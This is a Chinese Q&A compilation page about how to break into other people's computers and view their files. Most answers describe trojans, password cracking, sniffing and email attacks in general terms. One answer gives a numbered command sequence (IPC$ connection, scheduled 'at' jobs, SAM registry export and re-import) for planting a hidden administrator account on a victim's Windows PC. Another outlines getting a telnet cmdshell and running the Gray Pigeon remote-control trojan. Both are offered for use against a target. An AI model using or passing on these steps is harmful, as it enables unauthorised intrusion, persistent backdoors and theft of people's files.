本文目录一览:
- 1、黑客可以知道对方电脑里的东西吗?
- 2、黑客是如何进入别人的电脑的?进入别人电脑后会做些什么?
- 3、如何入侵别人的电脑,并看别人电脑上有什么?最近在做什么?
- 4、黑客怎么进入别人的电脑?
- 5、怎么能进入别人的电脑查看他们的文件?
- 6、看黑客是怎样入侵别人电脑的
黑客可以知道对方电脑里的东西吗?
可以.专业点的黑客可以在你的电脑上找到人何他想要的东西,包括你的电脑配置,当黑客利用你的端口进入到你的电脑时,他会关了你的防火墙,卸了你的杀毒软件,然后植入些诸如灰鸽子的各种软件,那时你的电脑就不是你在控制了.希望对你有所帮助.
黑客是如何进入别人的电脑的?进入别人电脑后会做些什么?
黑客可以通过系统漏洞或病毒木马进入别人的电脑,这种方法是用得比较多的。进入后,可以把别人电脑做为肉鸡来使用,可以偷里面的文件,想干什么就干什么!
如何入侵别人的电脑,并看别人电脑上有什么?最近在做什么?
入侵电脑对于新手来说是个很繁大的工程,因为‘黑客’这方面到知识涉及到知识很多,而且每出一种漏洞你得对有这种漏洞到软件或者系统有相当到理解,利用别人到工具虽然可以入侵,但是不是长久之计,而且也没有多少意义。入侵怎么算成功?拿到管理权限,即可以在对方机器上运行文件(木马灰鸽子之类),以及可以以cmdshell或者图形界面对对方机器进行管理。怎么入侵呢?漏洞到利用,头脑到运用。我们以灰鸽子这个远程控制软件来说明,因为你能在对方电脑上运行客户端即说明你对该电脑有了管理到权限,怎么运行这个客户端呢?首先你得确定入侵对象,知道对方到IP地址,域名或者计算机名,然后使用漏洞扫描软件,或者端口扫面软件对其进行扫描,以确定对方机器有什么漏洞可以利用或者确定通过什么方式进行入侵。在这个过程中涉及到知识很广泛,而且方式多种多样。这里举例一种,假设对方的administrator密码为空,并且开启了telnet服务,我们就可以通过telnet使用账号密码得到cmdshell(相当于对方电脑的cmd)这样我们可以执行命令了,使用命令给对方D盘共享,在对方d盘放客户端,使用命令运行客户端。这样可以通过灰鸽子服务端对其进行管理。
黑客怎么进入别人的电脑?
方法很多。
原理就是让对方电脑中木马或者病毒。
然后对方电脑就会出现一个漏洞或者后门程序。
然后黑客就可以通过木马软件控制台或者命令进出你的电脑啦。
怎么能进入别人的电脑查看他们的文件?
我可以告诉你一个办法不过需要对象的用户名和口令,只要你知道拿到账号和密码半个小时就可以搞定,以后你就有一个自己的隐藏管理员账户,随便进入他的电脑。在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。1.这里先假设他的用户名为administrator,密码为12345678,现在我们开始在命令行下远程为它建立隐藏的超级用户。(假设主机是局域网内的一台主机,ip地址为13.50.97.238,。) 2.先与他建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"Administrator”3.用at命令在他的电脑建立一个用户(如果at服务没有启动,可用netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51 c:\windows\system32\net.exe user hacker$ 1234 /add建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。4.同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55 c:\windows\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users/e 是regedit.exe的参数,在这里HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users这个键的一定不要以“\“结尾。必要的情况下可以用引号将"c:\windows\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users"引起来。5.将他的电脑上的hacker.reg下载到本机上用记事本打开进行编辑命令为:Copy \\13.50.97.238\admin$\system32\hacker.reg c:\hacker.reg6.再将编辑好的hacker.reg拷回他的电脑上copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg7.查看他的电脑时间:net time \\13.50.97.238然后用at命令将用户hacker$删除:at \\13.50.97.238 13:40 net user hacker$ /del8.验证hacker$是否删除:net use \\13.50.97.238 /del 断开与他的电脑连接。再用net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与他电脑连接,不能连接说明已删除。9.再与他电脑建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator" 再取得他的时间,用at命令将拷回他的hacker1.reg导入他的注册表: at \\13.50.97.238 13:41 c:\windows\regedit.exe /s hacker1.regregedit.exe的参数/s是指安静模式。 10.再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。11.再验证用户hacker$是否有读、写、删除的权限,如果不放心,你还可验证是否能建立其它帐户。 12.通过步骤11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删除的权限。 OK 以后你可以随意拿你的账号进入他电脑里游荡了~~~~~~~~~~~~~~~
看黑客是怎样入侵别人电脑的
黑客是入侵别人电脑的方法有以下几种:
1、获取口令 这又有三种方法:一是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但黑客要有足够的耐心和时间;三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后,用暴力破解程序破解用户口令,该方法的使用前提是黑客获得口令的Shadow文件。此方法在所有方法中危害最大,因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器,而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码,尤其对那些弱智用户(指口令安全系数极低的用户,如某用户账号为zys,其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内,甚至几十秒内就可以将其干掉。
2、放置特洛伊木马程序
特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知黑客,来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。
3、WWW的欺骗技术
在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑客服务器发出请求,那么黑客就可以达到欺骗的目的了。
4、电子邮件攻击
电子邮件攻击主要表现为两种方式:一是电子邮件轰炸和电子邮件“滚雪球”,也就是通常所说的邮件炸弹,指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被“炸”,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;二是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同),给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序(据笔者所知,某些单位的网络管理员有定期给用户免费发送防火墙升级程序的义务,这为黑客成功地利用该方法提供了可乘之机),这类欺骗只要用户提高警惕,一般危害性不是太大。
5、通过一个节点来攻击其他节点
黑客在突破一台主机后,往往以此主机作为根据地,攻击其他主机(以隐蔽其入侵路径,避免留下蛛丝马迹)。他们可以使用网络监听方法,尝试攻破同一网络内的其他主机;也可以通过IP欺骗和主机信任关系,攻击其他主机。这类攻击很狡猾,但由于某些技术很难掌握,如IP欺骗,因此较少被黑客使用。
6、网络监听
网络监听是主机的一种工作模式,在这种模式下,主机可以接受到本网段在同一条物理通道上传输的所有信息,而不管这些信息的发送方和接受方是谁。此时,如果两台主机进行通信的信息没有加密,只要使用某些网络监听工具,例如NetXray for windows 95/98/nt,sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限性,但监听者往往能够获得其所在网段的所有用户帐号及口令。
7、寻找系统漏洞
许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,win98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你将网线拔掉;还有一些漏洞是由于系统管理员配置错误引起的,如在网络文件系统中,将目录和文件以可写的方式调出,将未加Shadow的用户密码文件以明码方式存放在某一目录下,这都会给黑客带来可乘之机,应及时加以修正。
8、利用帐号进行攻击
有的黑客会利用操作系统提供的缺省账户和密码进行攻击,例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名),有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息,不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕,将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。
9、偷取特权
利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击,前者可使黑客非法获得对用户机器的完全控制权,后者可使黑客获得超级用户的权限,从而拥有对整个网络的绝对控制权。这种攻击手段,一旦奏效,危害性极大。
希望可以帮到您,谢谢。